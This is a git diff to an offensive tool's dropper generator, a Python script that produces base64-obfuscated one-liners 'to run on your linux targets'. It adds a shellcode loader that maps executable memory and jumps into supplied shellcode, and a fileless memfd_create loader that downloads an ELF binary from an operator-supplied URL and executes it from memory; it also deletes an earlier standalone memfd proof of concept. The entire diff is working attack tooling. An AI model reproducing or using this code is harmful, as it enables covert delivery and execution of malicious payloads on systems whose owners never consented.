diff --git a/dropper/gen.py b/dropper/gen.py index 5df2f3781..7b57645bb 100755 --- a/dropper/gen.py +++ b/dropper/gen.py @@ -4,24 +4,14 @@ generate a one liner for python based shellcode delivery ''' -# pylint: disable=invalid-name +# pylint: disable=invalid-name, broad-except +import atexit import base64 +import readline import sys -try: - shellcode_txt = sys.argv[1] -except IndexError: - print(f"usage: {sys.argv[0]} ") - sys.exit(1) - -try: - shellcode = open(shellcode_txt).read().strip() -except FileNotFoundError: - print(f"put your shellcode in {shellcode_txt}") - sys.exit(1) - -template = f''' +sc_loader_template = ''' import ctypes import sys from ctypes.util import find_library @@ -31,7 +21,7 @@ MAP_PRIVATE = 0X02 MAP_ANONYMOUS = 0X20 ENOMEM = -1 -SHELLCODE = "{shellcode}" +SHELLCODE = "{var_0}" libc = ctypes.CDLL(find_library('c')) mmap = libc.mmap mmap.argtypes = [ctypes.c_void_p, ctypes.c_size_t, @@ -43,8 +33,10 @@ cptr = mmap(0, mem_size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) + if cptr == ENOMEM: sys.exit("mmap") + if sc_size <= mem_size: ctypes.memmove(cptr, SHELLCODE, sc_size) sc = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p) @@ -52,9 +44,119 @@ call_sc(None) ''' -# download_exec_template = f'''import urllib2;u=urllib2.urlopen('{url}');print(u.read());''' +memfd_exec_loader_template = ''' +import ctypes +import urllib2 +from ctypes.util import find_library + +d = urllib2.urlopen('{var_0}').read() +count = len(d) +# memfd_create +syscall = ctypes.CDLL(None).syscall +syscall.restype = ctypes.c_int +syscall.argtypes = [ctypes.c_long, ctypes.c_char_p, ctypes.c_uint] +fd = syscall(319, '', 0) +# write +syscall.restype = ctypes.c_ssize_t +syscall.argtypes = [ctypes.c_long, ctypes.c_int, + ctypes.c_void_p, ctypes.c_size_t] +res = syscall(1, fd, d, count) +# execve +syscall.restype = ctypes.c_int +syscall.argtypes = [ctypes.c_long, ctypes.c_char_p, ctypes.POINTER( + ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p)] +str_arr = ctypes.c_char_p * 2 +argv = str_arr() +argv[:] = [{var_1}] +res = syscall(59, "/proc/self/fd/"+str(fd), argv, None) +''' + + +class Dropper: + ''' + Generate a shell command dropper using one of the python2 templates + ''' + + def __init__(self, dropper): + self.dropper = dropper + self.args = [] + self.select_dropper() -payload = base64.b64encode(template.encode("utf-8")) -print(f'''echo "exec('{payload.decode('utf-8')}'.decode('base64'))"|python''') + if self.args is None and '{var_0}' in self.dropper: + print("no args given, the dropper won't work") + i = 0 + for var in self.args: + self.dropper = self.dropper.replace('{var_'+str(i)+'}', var) + i += 1 + + def select_dropper(self): + ''' + + return the template + ''' + if self.dropper == "shellcode": + self.dropper = sc_loader_template + self.config_shellcode_loader() + elif self.dropper == "memfd_exec": + self.dropper = memfd_exec_loader_template + self.config_memfd_exec() + + def config_shellcode_loader(self): + ''' + shellcode loader code + ''' + shellcode = input( + "[?] shellcode hex string (eg. '\\x00\\x01'): ").strip() + self.args.append(shellcode) + + def config_memfd_exec(self): + ''' + memfd_exec code + ''' + url = input("[?] URL to your ELF binary: ").strip() + self.args.append(url) + argv = input( + "[?] argv array to run your ELF (eg. 'ls', '-lah', '/tmp'): ").strip() + self.args.append(argv) + + def gen_cmd(self): + ''' + generate the cmd for dropping + ''' + payload = base64.b64encode(self.dropper.encode("utf-8")) + print( + f'''echo "exec('{payload.decode('utf-8')}'.decode('base64'))"|python''') + + print("\n\nRun this one liner on your linux targets") + + +# usage +try: + dropper_selection = sys.argv[1] +except IndexError: + print(f"{sys.argv[0]} ") + sys.exit(1) + + +def save(prev_h_len, hfile): + ''' + append to histfile + ''' + new_h_len = readline.get_current_history_length() + readline.set_history_length(1000) + readline.append_history_file(new_h_len - prev_h_len, hfile) + + +# support GNU readline interface, command history +histfile = "/tmp/.dropper_gen_history" +try: + readline.read_history_file(histfile) + h_len = readline.get_current_history_length() +except FileNotFoundError: + open(histfile, 'wb').close() + h_len = 0 +atexit.register(save, h_len, histfile) -print("\n\nRun this one liner on your linux targets") +# run +dropper_gen = Dropper(dropper_selection) +dropper_gen.gen_cmd() diff --git a/dropper/memfd_exec.py b/dropper/memfd_exec.py deleted file mode 100644 index 89e698220..000000000 --- a/dropper/memfd_exec.py +++ /dev/null @@ -1,32 +0,0 @@ -import ctypes -from ctypes.util import find_library - -import urllib2 - -# u = urllib2.urlopen('') -# d = u.read() - -elf = open("/usr/bin/sleep").read() -count = len(elf) - -# memfd_create -syscall = ctypes.CDLL(None).syscall -syscall.restype = ctypes.c_int -syscall.argtypes = [ctypes.c_long, ctypes.c_char_p, ctypes.c_uint] -fd = syscall(319, '', 0) - -# write -syscall.restype = ctypes.c_ssize_t -syscall.argtypes = [ctypes.c_long, ctypes.c_int, - ctypes.c_void_p, ctypes.c_size_t] -res = syscall(1, fd, elf, count) - -# execve -syscall.restype = ctypes.c_int -syscall.argtypes = [ctypes.c_long, ctypes.c_char_p, ctypes.POINTER( - ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p)] -str_arr = ctypes.c_char_p * 2 -argv = str_arr() -argv[0] = "sleep" -argv[1] = "120" -res = syscall(59, "/proc/self/fd/"+str(fd), argv, None)